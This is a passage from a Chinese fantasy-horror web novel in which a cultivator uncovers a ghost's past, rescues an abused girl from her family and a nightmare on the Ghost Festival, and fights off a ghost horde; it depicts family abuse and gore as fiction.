他的声音平静至极,仿佛曾经也做过此番决定,可以静默无声地离开一次,就可以离开第二次、第三次,因为不被需要,因为被人怀疑,所以没有再待下去的必要,但是还是抱着一丝希望,渴望着那声迟到的挽留。
宫玄烛微一侧首,小楼里空空荡荡的,那只灵已经离开了,悄无声息地来,悄无声息地离开,人鬼殊途,这或许是最好的结局。
不知何时,风雨入户,雨丝凉凉吹在脸上,顺着脸颊缓缓滑落,如同荒唐的泪水,可她是个从不会说挽留,从不流眼泪的人。
来去随缘,无需伤怀,生老病死,徒劳牵挂。
自小抽屉里拿出小竹筐,里面堆满了各种碎布料,针线、剪刀一应俱全。
宫玄烛一愣神的功夫,摆在梳妆台上的傀儡娃娃说话了,是个稚童的声音,空灵惊悚,有前音没后音。
稚童的声音飘荡在木制小楼里:“主人,你终于要给我做新衣服了嘛?“
宫玄烛拿着一片黑色布料在傀儡娃娃身上比划比划,随即平铺在桌子上,叠了几叠,用白垩画好轨迹,剪刀顺着笔画裁剪过去,轻轻叹了口气。
傀儡娃娃随之皱起了眉:“主人,你怎么呢?你最近总是愁眉不展的。”
她穿好针线,细细缝制起来,却有些心不在焉:“阿偃,我总觉得,林夕身上有太多秘密了,他看着我的时候,像在透过我的眼睛看另外一个人。我思来想去,他靠近我绝对是有目的的,也一直在等他开口或者行动,可是都没有,他离开了,他并非有求于我,也不害我性命,到底是图什么呢?”
阿偃气愤愤道:“他就是无聊呗!这种话说一半的谜语人太讨厌了!主人以后不要再理这些孤魂野鬼!谁知道他们安的什么坏心!“
阿偃叽叽喳喳,宫玄烛被吵得脑仁都疼,适时打断了它:“不说这些了,我积攒的功德有多少?”
阿偃这才停住了嘴角,大眼睛咕噜噜转了几圈,樱桃小嘴扯出一抹笑意:“已经有二十四粒了。”
“给我吧。”
她将手伸了出去,阿偃有些不解,但还是乖乖吐了出来,一颗颗透明的珠子里泛着迷蒙的光彩。
阿偃忍不住好奇道:“主人,这些功德你都攒了五六年了,这是要拿去做什么啊?舍得全都用了,以后要是遇到危险怎么办?”
“千金散尽还复来,我眼下已经遇到很大的麻烦了。”
宫玄烛放下手里的布料,拿出贴身保管的手帕,就是写了谶语的那个,将所有代表功德的珠子都放在手帕上,右手掐诀,嘴里默念几句,只见手帕中间如同咧开了一张贪婪的
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大嘴,将功德珠一粒粒吞噬殆尽,宫玄烛拿手帕的左手抖得厉害,如同掌着千钧重物,最后她猛然回神,用尽力气拉回自己的思绪,一把攥住手帕,不再看上面的变化,这才算彻底清醒,靠在藤椅上微微闭目养神,急促的呼吸逐渐平复,心里不禁纳罕,这阴桃花究竟是何方神圣,只是刺探他的底细,居然险些酿成大祸。
将手帕重新收好,又拿起了布料,一针一线缝制起来,窗外依旧风雨萧索。
时光似乎在倒转,满城烟雨中她看着那道苍青色的身影,手执长枪,勒马停蹄,地上护心镜的碎片如同一片星光,天光刺眼,她看不清那人的模样,策马擎枪的身影如同一张永不褪色的剪纸。
“你让不让?”
她听见自己说:“不让,护心镜碎,攀甲绦断,弓弦崩,马哀鸣,种种不祥之兆,你为何执意要战!”
她为何如此焦急,如此痛苦?那马上的将军是谁?是她的什么人?她为何如此在意他的生死?
“死生有命,富贵在天,有何惧之。”
“好歹带着我,我纵然无能,但绝不会给你拖后腿!我保证,我发誓!”
“带你做什么?不够给我添乱的,若敢私下逍遥峰,你就不必再回来了!”
那青衣人策马扬长而去,天边残阳似血,映红了离人一双眼眸。
她脸上满是风雨,冷的雨、热的雨一起往下流,眸中一片血红,声嘶力竭地喊道:“师尊!”
师尊?
宫玄烛缓缓睁开眼睛,脑袋疼得仿佛要炸开,指尖蘸上窗台上摆放的朱砂,在桌子上刷刷写下几个关键词。
逍遥峰,师尊,战争,将军。
对着这四个词,宫玄烛双手抱臂,在镜子前来来回回踱步。
“阿偃!从九百年前算起到现在,灵煌洲上有几个逍遥峰。”
傀儡娃娃眼珠子又咕噜噜转了几转,似喜似悲的声音再次响起:“回主人,此九百年间,灵煌洲上大大小小共有二十三个叫做逍遥峰的门派和山峰。”
“挑出其中宗主年纪在二十到三十之间的。”
“回主人,挑选之后剩余符合条件的有三个,西北梵净山逍遥峰、中原青华门逍遥峰、东南翠屏山逍遥峰。”
宫玄烛一拍桌案,答案马上呼之欲出了,不枉她花了这么大代价:“哪位宗主如今已不在人世了?”
“回主人,梵净山逍遥峰主须烟景,九百年前在凤城战死,青华门逍遥宗主顾怜生三百年前在雾山身陨。”
宫玄烛最后问了一句,表情几乎僵硬:“那么,此二人中,谁擅使长枪?”
谶语化灰,随风而逝,她站在原地似笑非笑,最后笑出了声,不知是在笑自己还是笑那个傻子。
林夕者,梦也,原来不是梦,是梦中人。
她轻轻叹息,脸上多了一丝悲切与困惑,自言自语道:“若换做是我,想必,我更愿意让你忘却一切,前尘怎样,今生又怎样,我究竟是谁,重要吗?”
21. 姥姥家门前唱大戏
这天日子头不太好,既是林瑶陌菱姐妹的生日,也是一年到头阴气最重的鬼节。陌菱一早人又不见了,估计是觉得眼不见为净跑出去躲着了,尹星灯自然忙着给爱徒筹备生辰。
梨花酿的味道醇香浓烈,如同恋人的心,滑入喉间仿佛能灼烂肺腑,爱酒之人认为其千金难买,酒中极品,或细品浅酌,或一饮而尽,但那不爱酒的,微微皱眉,笑言拒绝,被劝得紧了便接在手里,趁对方不注意随手往犄角旮旯里一泼,心道,什么破玩意儿!
“瑶儿,生辰喜乐。”
他斟了满满一杯酒,林瑶脸色一变,仍然温声细语道:“弟子多谢师父美意,只是弟子自小不会饮酒,还请见谅。”
尹星灯微微蹙眉,又笑劝道:“凡事都有第一次,瑶儿长大了,岂不知这酒中的学问也大了去了,不若趁此良辰美景,你我师徒品酒谈道,也是人生雅趣,瑶儿意下如何?”
林瑶再次拱手:“请恕弟子不敢苟同,修道之人戒七情六欲、酒色万万不敢沾染,千里之堤溃于蚁穴,今日饮酒,明日乱性,后日便可提刀杀人,故此,凡我辈弟子当以第一条戒酒令为金科玉律,才能保证不误入歧途。”
尹星灯心中妒火蔓延,面上强作镇定:“小酌怡情,为师不过是想为你庆贺生辰,何至于如此紧张?莫非是怕自己把持不住,酒后吐真言?”
林瑶却面不改色,彬彬有礼且油盐不进,仿佛会呼吸的死人:“师父说笑了,这是两码事,师父好意弟子心领了,这酒还是免了吧。”
她转身要走,尹星灯变脸比翻书还快,当即横眉立目拿出了师父的款,他平时不这样的,都是让林瑶给逼得没办法了:
“站住!为师让你走了?”
林瑶心知今日之事不会善罢甘休,定住脚步,回身站定,看着那张熟悉的面容满心的疲惫,但嘴角依旧挂着得体温雅的笑意,仿佛一层假面具:
“师父教训得是,弟子失礼了。”
尹星灯端起酒杯,深呼吸一回,黯然别过脸去:“只此一盏,为师信不过你,想听听你的真实想法,如若,”他的眉头深深拧着,逼着自己将心头那个令人恼恨的假设说出来,“你醉酒之后仍然心如磐石,为师自此不会再打扰你,如此可好?”
林瑶稍一迟疑,尹星灯敏锐异常,见缝插针道:“瑶儿,你怕了?你就是在口是心非,你心里究竟是有了别人,还是不肯承认你对为师的心意?”
林瑶别过了脸,面颊微微泛红,矢口否认:“绝无此事!”
尹星灯将酒杯递到她唇边,眸中闪烁着异样的光彩,几乎是咄咄逼人:“喝下去,证明给我看。”
……
独坐离梦阁里左右没意思,宫玄烛又拐走了商羊四处溜达,半路遇上了一个小孩,他满街乱跑,身后楚纤茉紧紧追着,气喘吁吁:“楚珏!你回来!”
宫玄烛眼睛一亮,原来阴差阳错又到了槐荫镇了,也不知几位好友最近如何。
“略略略!”楚珏回头翻白眼吐舌头,仍旧乱跑乱跳,怀里抱着一包东西。
显然,这位楚家妹妹过得不怎么样。
宫玄烛略一伸脚,这楚珏惊呼一声摔了个大马趴,手里东西散落一地,却原来是一包散碎银钱并一些女子的衣服首饰。
楚纤茉已经追了上来,急忙全部捡了起来归拢,这楚珏哪里肯依,撒泼打滚、鬼哭狼嚎,他并没有看到宫玄烛给他使绊子,只嚷嚷着楚纤茉是强盗,抢走了他的东西。
被倒打一耙,楚纤茉气急败坏,小脸憋得通红:“明明是你从家里翻去的,还想抵赖给我!我现在拿回去交给爹娘去!”
楚珏本来四脚朝天在地上打滚,仿佛一头滚泥潭的猪崽子,发出的声音也是杀猪一般响亮,一听这话一骨碌翻起来死死抱住楚纤茉的腰,两只眼珠子咕噜噜一转,远远瞅见自家爹妈过来了,登时嚎啕起来:“爹!娘!快来呀!楚纤茉偷咱家东西了!”
楚纤茉登时小脸蜡黄,似乎没料到会上演这么一出,只怄得声堵气噎,牙齿发颤:“你……你别冤枉好人!明明是你偷的!”
那楚珏低笑道:“二姐姐,乖乖把东西给我,替我背了这个黑锅,好处多着呢,不然叫你死无葬身之地。”
宫玄烛修道之人,耳聪目明,将楚珏的话尽数听了进去,竟禁不住脊背发凉,一个五六岁的孩子,何至于有如此心机?
眼见楚家两口子已经逼近,楚珏变本加厉跟楚纤茉撕扯着,楚纤茉不知怎么回事,手里劲头也松了,楚珏抢过这包袱一溜烟扑到老爹怀里,扭头得意洋洋看着楚纤茉,嘴上带着哭腔:“爹爹!娘亲!二姐姐偷东西了!孩儿亲眼所见!”
楚母拿过包袱三两下打开一看,里面多数是大女儿的衣裳簪环,心里已经信了八九分,气得浑身发抖,三两下赶上前给了楚纤茉一巴掌,扇得这姑娘一个趔趄翻倒在地,捂着半边肿起的脸,抽抽噎噎道:“不是我……是楚珏干的……”
那女人厉声喝道:“还敢扯谎!珏儿一个男娃,偷这些衣裳做什么?定是你这不知廉耻的贱蹄子偷了你姐姐的衣服,是不是打算带去外面藏起来,又或是送给你那起子狐朋狗友!”
一边说着一边大口啐着,楚纤茉委委屈屈,也不敢再辩解,眼见连累了苏潋影、钟诗琼等人,少不得又解释两句:“阿娘,我真的没有偷姐姐的东西……”
楚珏又在旁边跳着脚煽风点火,又哭又嚎:“爹爹!娘亲!我再不要一个贼姐姐,连我都带累坏了!咱们家都成什么人了!”
眼见周围的人越聚越多,楚父再也按捺不住,揪着楚纤茉的耳朵连推带搡回转家中,宫玄烛紧随其后,见他们深闭家门,料不能好,飞身跃上屋顶隐匿身形,却见楚纤茉已经倒在了院子里,这边楚父竟拿了一条儿臂粗的麻绳沾了水,赶牲口似的下死手往楚纤茉身上抽去,那傻丫头也不知道躲的,咬牙生挺着,挺不过时便呜呜咽咽哭了起来。
宫玄烛如何忍心看下去,双手结印一道护阵打下去,谁知居然被一股奇异的力量弹开了。宫玄烛还以为是自己忙中出错,又试一次结果还是如此,她的术法居然对楚纤茉不起作用,也制止不了楚父,这可太奇怪了。
宫玄烛迅速环顾周围场景,屏息凝神,只是槐荫镇太过阴冷,又加之日子特殊,实在辨别不清究竟是何方妖邪作祟。
楚纤茉奄奄一息被拖进了一个房间,宫玄烛隐匿身形跟着过去,暗中也好帮她一把,谁知不多时,楚珏也出现了,他俯视着蜷缩在地上的楚纤茉,脸上神情不是一个七八岁的孩子能有的,狡诈阴险,诡笑道:“二姐姐,这滋味不好受吧,你说说你,长得不好看、嘴巴也不乖巧、又是个没用的女子,这辈子都得不到爹妈的关心,何必呢,我要是你,早就一头碰死了。”
宫玄烛心下一惊,坏了!这小兔崽子居然在教唆楚纤茉寻死!楚纤茉真的死了,对他有什么好处?
这时,楚纤茉缓缓抬眸,连咳带喘半晌,眸中满是恨意,盯着楚珏冷声咒道:“你会遭报应的……”
楚珏眯起眼睛,一脚踩在了楚纤茉肿起的脚趾上,狠狠碾了几下,过了一会儿又出去端了一碗滚烫的稀饭来,狡笑道:“二姐姐,吃饭了!”
楚纤茉吓得连连往后缩,冷不防楚珏将整碗饭照着她的脸泼过来,宫玄烛并未现身,而是拿魂灯挡了一下,粥碗摔碎在了地上。
楚珏轻轻蹲下,一点点捡起碎瓷片,眼底是不怀好意的诡笑:“二姐姐,既然你不领情,那我只好再帮你一把了。”
宫玄烛悄悄跟了上去,夜幕降临,楚家一家子人围在一起吃晚饭,楚珏果不其然又开始作妖了,忽然放下筷子道:“祖母!爹爹!娘亲!”
楚家老太太满脸堆笑:“怎么呢大宝贝?”
楚珏一脸稚气:“亲姐弟可以做夫妻吗?”
一时之间,席间鸦雀无声,连宫玄烛也被这句话镇住了,半晌,一颗心扑通扑通乱跳,牙根一阵发酸,这死小子想干什么?
楚父一巴掌拍在桌案上,登时两碟子菜震落在地摔得粉碎:“你个逆子!这话是打哪听来的!今天若不说清楚,仔细老子打烂你这张嘴!”
楚珏吓得脸色惨白,张着嘴半天说不出一个词儿,楚老太太搂着他肝儿肉儿哄了半天,才抽抽嗒嗒道:“是二姐姐说的……私下没人时叫我去她房间,说教我玩游戏,让我脱了衣裳和她一起睡觉……”
楚父听了这话脸色发白,两眼一翻几乎晕厥在地,楚母连忙捂了大女儿的耳朵,拽着她抱着小女儿急急忙忙躲回了房间。
宫玄烛一口恶气差点堵死自己……好歹毒的计策,这楚珏究竟与楚纤茉有何仇有何怨,竟非要她的命不可!
这边楚父气得牙齿打颤,血灌瞳仁,一拳砸在饭桌上,发狠道:“索性我打死这个逆女也罢!有欢儿和珏儿也够,倒多生了个孽根祸胎,今日若不趁早打死了,以后定要败坏家门,辱没祖先!”
宫玄烛暗叫不好,急急忙忙来柴房找楚纤茉
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,意欲带她赶快离开这是非之地。
谁知一脚迈出大堂的门槛,发现这座宅子的布局整个都不对了,天空黑沉沉的,没有一丝星月之光,漆黑的仿佛浓稠的墨汁,院子四角挂了红灯笼,散发着亮光,此情此景下却显得有些诡异。
楚父还在高声叫嚷:“我打死这个逆女一了百了!”
楚家老太太嘟嘟囔囔,嘴里不停地低声咒骂着什么。
楚父抄着一根棍子,怒目圆睁,径直从宫玄烛面前走过,仿佛看不见已经解除了隐身法的宫玄烛。
天空乌云密布,似乎有一双手在不停地搅动风云,倾刻间电闪雷鸣,一道道霹雳直打入庭院,照得整个院子亮如白昼。
远处,似乎有咿咿呀呀的声音传入耳畔。
满腹闲愁,数年禁受,天知否?
天若知我情由,怕不待和天瘦。
莫不是八字儿该载着一世忧?谁似我无尽头!须知道人心不似长流水……
宫玄烛有心想忽略这不知从哪里传来的唱戏声,可是白费力气,这声音仿佛无孔不入,咿咿呀呀,字字泣血,听得人毛骨悚然,心跳如擂鼓。
她知道今夜必定不太平,万万没想到遇到了这么棘手的情况,这里并非真实的槐荫镇楚家宅院,而是一个人的梦魇之境。
眼下最重要的就是找到楚纤茉!
宫玄烛这般想着,手里已经攥紧了魂灯,辟邪魂灯光芒乍现,她抬脚欲走,忽然感觉后衣襟让人拽了拽,宫玄烛脖子有些僵硬地回过头,看见了一个漆黑的发顶,那家伙微微仰起脸,简直惨不忍睹,皮肤蜡黄、七窍流血,瞪着一双大而无神的漆黑眸子,声音却十分稚嫩,还有些怯生生的。
“大姐姐,你能带我一起去看戏吗?奶奶不让我出门……”
宫玄烛伸出手,小女孩将脏兮兮的小手搭在了她手上。
小女孩光着脚,每走一步,地上就多一个触目惊心的血印子。
宫玄烛被小女孩带着往前走,不多时就见前方熙熙攘攘都是人,喧哗声、喝彩声不绝于耳,唱戏声也更加清晰。
莫不是前世里烧香不到头,今也波生招祸尤?劝今人早将来世修。
我将这婆侍养,我将这服孝守,我言词须应口。有日月朝暮悬,有鬼神掌着生死权。
手里忽然一空,小女孩不知何时挣脱宫玄烛的手跑了出去,她身形小,三两下钻到人群里去了,仿佛急着跑到前面去。
宫玄烛怕跟丢了,急忙往前跟去,想到戏台前必须穿过层层人群。
“不好意思,借过一下。”
其中一个人轻轻回过头,一张模糊不清的人脸映入眼帘,宫玄烛与对方对视了大概半炷香的功夫,那人轻轻侧过了肩膀,木讷地望向前方的戏台,僵硬地鼓着掌。
宫玄烛花了半晌的功夫才算挪到戏台前,这才看清全貌,原来演的是傀儡戏,傀儡师藏在戏台后面,拿牵丝操纵着戏台上的木偶,木偶们举手投足,惟妙惟肖。
只见台上有一个红衣的木偶,跪在地上,双手反剪,手足都戴了镣铐,看得出来是个女囚犯,旁边是两个凶神恶煞的侩子手,再旁边是一个监斩官。
宫玄烛不懂戏,不知道唱的是什么,只觉得很烦,那个女囚犯咿咿呀呀唱的人心烦意乱。
天地也,只合把清浊分辨,可怎生糊涂了盗跖、颜渊?为善的受贫穷更命短,造恶的享富贵又寿延。
宫玄烛急着找那个小女孩,瞥了一眼戏台将视线又转向其他地方,只见小女孩在人潮之中钻进钻出,瘦小的身影忽隐忽现,她一会儿蹲下一会儿直起身,似乎是在捡什么东西,很快,宫玄烛看清了,小女孩在捡地上的冥币。
不一会儿,她这种行为被人发现了,人群中一阵骚乱,几个小孩围住她又唱又跳,仿佛是在举行一场古怪的献祭仪式,人群中有一个拿棍子的中年男人走了出来,拨开那群起哄的小孩,一脚将小女孩踢得满地乱滚,细长直的棍子抽打在身上,纸做的身体、纸扎的长棍,宫玄烛却能看到皮开肉绽的惨状,甚至能听到凄惨的哭号。
与此同时,戏台上监斩官一声令下,刽子手挥起大刀,女囚犯人头落地,木偶的脑袋仿佛一只烂西瓜咕噜噜滚到了宫玄烛脚边,圆睁着的眼睛眨了眨,脖颈的切面处冒出了一圈黑乎乎的血迹。
一曲落幕,台下爆发出雷鸣般的掌声和喝彩声。
“好!”
“唱得真好!”
“再来一个!”
22. 高楼失脚,惊梦一场
宫玄烛感觉自己的衣襟又被拉了一下,一只血刺呼啦的小手正拽着她,小女孩头上多了一个血窟窿,咕嘟嘟往外冒着血,半张脸被粘稠的鲜血糊得睁不开眼,如同有人在她脸上泼了一碗血糯米,另外半张脸还是干净的,两厢对比下活脱脱一张阴阳脸。
宫玄烛看向小女孩指的地方,是一个卖糖人的小推车,小孩子大都喜欢这些甜腻腻的吃食。
走到小摊前,只见铁锅里糖浆熬得沸腾,案板上沾着陈年的糖渍,宫玄烛打量几眼,见小推车上贴着许多剪纸,日久年深剪纸已经发白,有几张破损得极为严重,依稀能看出来是猫、狗、兔子之类的小动物,还有悟空、八戒、龙女、嫦娥这样一些天神形象。
小女孩认真挑选了许久,最后选了一只做工简单的小兔子,宫玄烛往案板上扔了一枚古铜色的六界通宝,摊主愣了好久,举着糖勺却久久没有动作,宫玄烛等得不耐烦直接夺过他手里的家伙什,三两下画了一只还算像样的兔子,将竹签子按在兔子身上,等稍微冷却后拿铁尺轻轻铲下来递给小女孩,小女孩看起来很高兴,带着宫玄烛又往戏台那边走。
这次台上是两个木偶,都拿着扇子,做书生打扮,一个清爽俊朗,一个袅娜纤细,大概听了一会儿,宫玄烛猜测可能是梁祝,小女孩看得很认真,手里的糖人在慢慢融化都浑然未觉。
就在这时,远处忽然跑过来一个小男孩,依旧是五官模糊不清的纸人形象,伸手就夺小女孩手里的糖人,小女孩攥得极紧,奋力挣扎着,那小男孩抬手在她手背上狠狠掐了一把,半融化的糖人被小男孩一把捏碎,扔在地上用力踩了几脚,随后蹦蹦跳跳似乎冲小女孩扮了个鬼脸,他用力一跳,双手在小女孩背上一撑跳了过去,小女孩脸朝下栽倒在地,手里串糖人的那根又细又长的竹签子直接从眼睛里戳了进去。
梁祝化蝶翩跹而去,台上一曲再次落幕,台下再次爆发出震天撼地的掌声。
“好!”
“再来一个!”
宫玄烛再看向戏台下时,小女孩不见了,地上斜插着一根血淋淋的竹签,她盯紧远处那个瘦小的身影,拔腿就追,跑上数十级台阶,眼前出现了一座寺庙,跨入三尺高的门槛,入目是巨大的青铜鼎,香火鼎盛,缭绕云雾后面是一尊八尺来高、安坐于珠帘玉幕后,身披五彩缎面的女神像,慈眉善目,眉眼低垂,嘴角含笑。
神龛之下,善男信女络绎不绝地前来参拜,云雾缭绕间,宫玄烛仿佛看到了神女在微笑,轻轻蹙起眉头,一会儿又柳眉倒竖、杏眼圆睁,一副嗔怒之态。
渐渐地,神女的脸似乎在变化,那眉眼五官不再炯炯有神,而是有些臊眉耷眼,一副畏畏缩缩的模样,宫玄烛不由心跳骤然一停,这张脸上的神态,她见过多次,分明是楚纤茉!
熙熙攘攘的香客中传出一声极细极轻的叹息,宫玄烛迅速一扭头,果然在人群中看到了熟悉的身影,含胸缩肩,低垂着脸,面容遮挡在蓬乱的发丝之下,只露出惨白的下半张脸,转身往僻静处走去。
站住!
宫玄烛在心底大喝一声,那人似乎吓了一跳,拔腿想跑,宫玄烛穷追不舍,没跑几步就堵住了她的去路。
你还想躲哪里去!
那蓬头垢面的人的确是楚纤茉,她似乎有些神志不清,明明以前见过宫玄烛,在梦境中却认不出来,眸露惊惧之色,不由自主地后退几步,双臂在胸前渐渐合拢,是一个防御的姿势。
宫玄烛心知,楚纤茉这孩子防备心极重,最好一次就取得她的信任,否则弄巧成拙都是轻的,刺激到她可能导致对方永远困在这光怪陆离的梦魇之中。
不好意思认错人了,借过一下。
宫玄烛假装与她擦肩而过,悄悄回眸去观察她的反应,果然,楚纤茉的肩膀缓缓放松,在原地站了许久,抬脚往戏台边缘走去,那个地方所站的人寥寥无几。
宫玄烛走至一个面具摊前,抬手抄起一张看起来人畜无害的兔子面具,梦境之中,所念即所得,况且在别人的梦境中,宫玄烛无比地清醒,心里想着那个熟悉的人影,她应该是一身崭新的碧色罗裙,梳着双丫髻,额前是及眉的齐刘海儿,腰间挂着一串银铃。
戴上兔子面具,宫玄烛大摇大摆走了几步觉得不对劲,大概回忆了一下那小姑娘走路的姿势,开始脚步轻快地蹦蹦跳跳,颇有种老黄瓜刷绿漆的感觉,若不是带着面具,这老脸真就挂不住了。
自背后拍了一下楚纤茉的肩膀,姑娘回过头眼里露出无法言说的惊喜之色,见她有张开双臂的趋势,宫玄烛连忙给了她一个大大的拥抱,算是取得了初步的信任,接下来就可以实施计划了。
她握着楚纤茉的手,将不喜欢看戏的想法传达给她,楚纤茉察觉后反问她想去哪里玩,自己可以随时奉陪。
果然是好闺蜜啊。
宫玄烛拉着她往人烟稀少处走,一步步上了戏院中最高的建筑,九层高的佛塔,站在高处,楚纤茉似乎也心情畅快了不少,下面是星星点点的商铺灯笼,远处是铜锣鼓点交响的戏台,黑压压的人群挤成一片,仿佛一群蚂蚁。
楚纤茉果然是个戏痴,即使看不清楚那方小小的戏台,还是手扶栏杆向那边张望,侧耳倾听着悠悠传来的鼓乐与歌声,连宫玄烛悄悄走到她身后都没有发现。
你给我下去吧!
宫玄烛毫不客气,狠狠一把将楚纤茉推下了高楼,少女脸上露出了不可置信的神色,太过震惊而没有多余的表情,随着她不停地坠落,下方的戏台、人影、灯笼都开始模糊、破碎,所有事物化作一团黑漆漆的烟云,不断地盘旋扭转,仿佛一个深不见底的漩涡,将坠落的少女悄然吞噬。
宫玄烛忽然有些愧疚,想摘下脸上的面具又顿住了,抬脚走出了这个压抑丑恶的梦境。
此时,她正站在楚家的柴房里,眼前是奄奄一息的少女,身上绑着胳膊粗的麻绳,头上滴滴答答往下流水,身子时而微微抽搐一下,在灭顶的痛楚中,寒冷似乎算不得什么,她早就醒了,回想起自己迷迷糊糊中似乎做了个……很难过的梦。
最好的朋友将她推下了高楼……
听人说,梦都是相反的,一定是她们的关系太要好了,才会做这种梦吧。
“走吧。”
宫玄烛将她扶了起来背在身后,示意让她提起那盏魂灯。
楚纤茉乖乖趴在她身后,提着魂灯的手有些无力,鲜血一滴一滴流淌着,自手背蜿蜒而过没入指缝,汇聚成不知名的笔划。
“苏苏……我刚才做了个梦,梦到你了,结果你就来了……”
宫玄烛不便开口,只能默默地走着,躲过在门口抽旱烟的楚老爷子,走上了荒寂无人的大街。
中元之夜,纸钱乱飞,阴风阵阵,可两个人谁也感觉不到害怕。
“苏苏,你说,我上辈子是不是什么罪大恶极的歹人,所以神明罚我这辈子来赎罪……可是,到底要什么时候才能还完债?还是说这辈子我都不得解脱?”
宫玄烛想骂醒她,又生生忍住了。
赎个屁的罪,人活一生,个个背着上一世的罪业,疯了啊?
前方白影绰绰,脚不沾地,飘飘荡荡,似乎注意到了街上两个异类,这个时候,几乎是家家户户门窗紧闭,熄灭灯火。
她们二人走在街上,如同被世界遗弃,仿佛站在生之彼岸。
楚纤茉其实最怕鬼了,可今日她忽然不怕了,反而觉得有一种解脱感,心下暗暗敲定主意,一会儿如果遇到什么危险,一定要冲在苏潋影前面,保护自己最好的朋友。
隔着一条街,清脆的梆子声落入耳中,在这种命悬一线的境况下,让人产生一种错觉,仿佛心脏是一张绷紧的鼓皮,而那无形的鼓槌正一下挨一下敲击在心门上。
街上游荡的鬼影越来越多,接下来恐怕是百鬼夜行,而此时街上唯一可以落脚的地方无疑是眼前废弃的戏楼。
宫玄烛毫不犹豫,迈步走入百戏楼,所幸一路上楚纤茉时而昏迷、时而清醒,并未怀疑她的身份,一直将她当作苏潋影,她也顺利从楚家拐走了这个大概是前妻所生的灰姑娘。
进入戏楼气还没喘匀了,新的问题又出现了,不知何时,街上游荡的鬼怪开始向戏楼靠近,许是嗅到了活人的气息,中元夜正面遇到这些东西不是闹着玩的,一来双拳难敌四手,二来鬼魂在中元夜占据天时,更加不好对付。
宫玄烛随手扔下几张皮影,让它们暂时抵挡一下,而自己带着楚纤茉迅速转移阵地,往楼上跑去。
而此时,皮影几乎全被纷涌而至的鬼怪给冲散了,楚纤茉听见身后凄厉的哭喊声,鬼使神差地一回头,忽然就停住了脚步,
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身后大概五十步外,那些狰狞可怖的鬼怪全是她熟悉的面孔。
一个皱纹堆累的老太太、一个面目阴沉,泪沟突兀的中年男人、一个高颧骨薄嘴唇的中年女人、一男一女两个半大少年,他们面目狰狞,齐刷刷抬头看向了楚纤茉,下一刻几乎是飞扑而来,尖锐的指甲与獠牙近在咫尺,脖颈后方几团燃烧的火焰射向鬼怪面门,尖锐的怒吼声此起彼伏,原本扑到半空的鬼影迅速下坠,落在地上不停地翻滚扭动。
宫玄烛见楚纤茉精神恍惚,瞳孔涣散,知道她在与鬼怪对视的一瞬间已经中了障眼法,果不其然,楚纤茉望着楼梯下哀嚎的几团黑雾,痴痴道:“他们……已经被鬼吃了吗?”
宫玄烛本来在探路,闻言回眸看她,只见楚纤茉的眼神很奇怪,恐惧之中透出一丝欣喜来,宫玄烛见势不妙急忙摇晃她的肩膀,低声道:“你清醒一点!这是你的心魔,不要被控制!”
宫玄烛有预感,方圆百里的鬼怪似乎都在往百戏楼聚集,目标毫无疑问是这个清明出生的姑娘。
林瑶、陌菱都在星辰宫不消担忧,而楚纤茉今晚真的是生死难料,在家里倒还好,家是一道无形的屏障,可以阻挡一定的危险,可楚纤茉这个被扫地出门的姑娘,现在失去了这道屏障,毫无疑问成了鬼节最显眼的靶子,似乎谁都可以争一下。
现在这个局势真是糟透了。
宫玄烛拉着楚纤茉往楼上跑,可是三楼尽头的楼梯忽然变成了十几条岔道,仿佛一座迷宫,一看就是虚幻的空间,这座戏楼总共才有多大?此时此刻踏错一步真是不堪设想,宫玄烛左右一看,有好些个皮影在绳子上挂着,迅速拽下十几只来,傀儡们在她手中活了过来,魂灯的光芒忽然一闪,变成了血红色,映着宫玄烛一双眼眸如同鬼魅,随着她低声念动咒语,十几只皮影嗖嗖地飞了出去,各自去探路。
少时,宫玄烛十指上连着傀儡的红丝接二连三的被一股奇异的力量拽断,只剩下左手无名指上的一弦。
带着楚纤茉跑上楼顶,迎面而来是几个红衣披发的鬼魅,而在楚纤茉眼里却是她最恐惧的嘴脸,宫玄烛见状手中魂灯化作一把长刀,刀光所到之处鬼哭狼嚎之声不绝于耳,岂料杀到最后,那鬼魅化作了她很熟悉的一张脸,少年剑眉星目,唇红齿白,朝她微微一笑,宫玄烛手中原本神佛无阻的长刀忽然顿了一瞬,下一刻反手刺入了那少年当胸。
那鬼魅消散之前幽幽在她耳边嗔怪道:“师尊好狠的心……”
宫玄烛顿时心跳一滞,他叫我什么?
但来不及想太多,情况紧急,只能带着楚纤茉继续逃跑。
百戏楼只有五层,到了这一步几乎退无可退,两人站在屋顶,宫玄烛身上的符咒几乎用尽了,而下方的楼梯吱呀乱晃,如同地震一般,尘土簌簌飞扬,毫无疑问是有无数鬼怪争先恐后地往上爬。
宫玄烛出了一身的冷汗,手开始发抖,摸到道袍袖袋里的两截线香,一长一短,气得骂娘,出门不带传音符,死了活该啊!
手心的线香握到汗湿,她几乎生锈的大脑再次开始转动,急忙将长一截的线香从中间折断,将三根拼凑成的线香插在木板缝隙里点燃,迅速盘膝而坐,默念三遍心中所求。
最好来个厉害点的,把这些甩不掉的牛皮糖全清理干净了……
扶乩请仙虽然好用,但折寿,被许多名门正派列为禁术,严格禁止门内弟子修习。
宫玄烛不在乎,千年王八万年龟,活那么久干什么。
第一波冲上楼梯的鬼怪被宫玄烛身上一道刺目的金光击穿灵体,随后化作清风散去,五楼连接四楼的楼梯随着这一击轰然倒塌,一阵地动山摇之后,归于平静,不止是戏楼安静了,方圆百里也是一片死寂,宫玄烛明显感觉到先前一直压在胸口的紧张感消失了,仿佛危险已经彻底平复。
宫玄烛回过神来,线香只剩指甲盖长短,香头在夜风中摇摇欲坠,她迅速念了三遍送词,身上充沛的灵力撤去,整个人险些栽倒在地,仿佛刚战斗了三百回合,手臂酸软到没有一丝力气,让她不禁怀疑,这次究竟是请到了何方大罗真仙,上身不到半炷香,几乎要了她的小命。
不过还好,最终两人都平安无事,这就是不幸中的万幸了。
四更的梆子声敲响,预示着鬼节已经过去了,新的一天开始。
23. 瑶瑶快跑
宫玄烛长长舒了口气,掀下面具擦去一脸的冷汗,坐在原地靠着栏杆休息,楚纤茉也愣愣地坐在原地,嘴唇张了张:“你,不是苏苏。”
她嘴唇轻颤,仿佛陷入了极大的恐慌之中,转头就想跑,差点从断裂的楼梯上掉下去,宫玄烛一急,伸手抓住了姑娘的脚踝,对方维持着那个迈步的姿势,下一秒直接两眼一翻晕死过去,不知道是吓的还是累的。
宫玄烛将晕倒的人接住,努力说服自己,孩子一定是困了,还是先把人送到红线坊再说吧。
……
尹星灯嘴角微微上扬,眼中闪过一丝戏谑,缓步走到林瑶身前蹲下:“呵,还嘴硬呢……”
